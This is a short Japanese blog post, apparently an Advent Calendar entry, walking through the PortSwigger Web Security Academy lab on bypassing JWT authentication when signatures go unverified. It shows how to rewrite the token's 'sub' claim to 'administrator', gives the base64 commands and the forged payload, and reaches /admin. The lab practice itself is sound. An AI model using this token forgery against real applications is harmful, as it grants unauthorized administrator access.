Web Security Academy「JWT authentication bypass via unverified signature」解いてみた
はじめに
この記事は「shinobe179 Advent Calendar 2022」2日目の記事です。
まずは「Lab from all topics」のコンプリートに向けて、「JWT authentication bypass via unverified signature」を解きました。簡単な問題ですが、飲み会終わりにつきお許しを。
メモ
事前情報
- アプリはJWTの署名を検証しない
- つまり、書き換えが自由!
流れ
- とりあえずwiener:peterでログインする
- Cookieに入っているJWTをコピペして https://jwt.io/ へ
- ペイロード部の平文をコピーして、
sub
をadministrator
へ書き換える - base64を生成する(後述)
- ペイロードを差し替える
eyJpc3MiOiJwb3J0c3dpZ2dlciIsInN1YiI6ImFkbWluaXN0cmF0b3IiLCJleHAiOjE2NzAwMDMxODV9
- Cookieを差し替えると、/adminへアクセスできるようになる
base64の生成はこんな感じ。
$echo -n '{"iss":"portswigger","sub":"administrator","exp":1670003185}' | base64 eyJpc3MiOiJwb3J0c3dpZ2dlciIsInN1YiI6ImFkbWluaXN0cmF0b3IiLCJleHAiOjE2NzAwMDMx ODV9 # 検証。改行文字がないのでプロンプトの$が続く $echo -n eyJpc3MiOiJwb3J0c3dpZ2dlciIsInN1YiI6ImFkbWluaXN0cmF0b3IiLCJleHAiOjE2NzAwMDMxODV9 | base64 -d {"iss":"portswigger","sub":"administrator","exp":1670003185}$
宿題
Burp SuiteのInspectorで、JWTの編集ができるみたい。便利!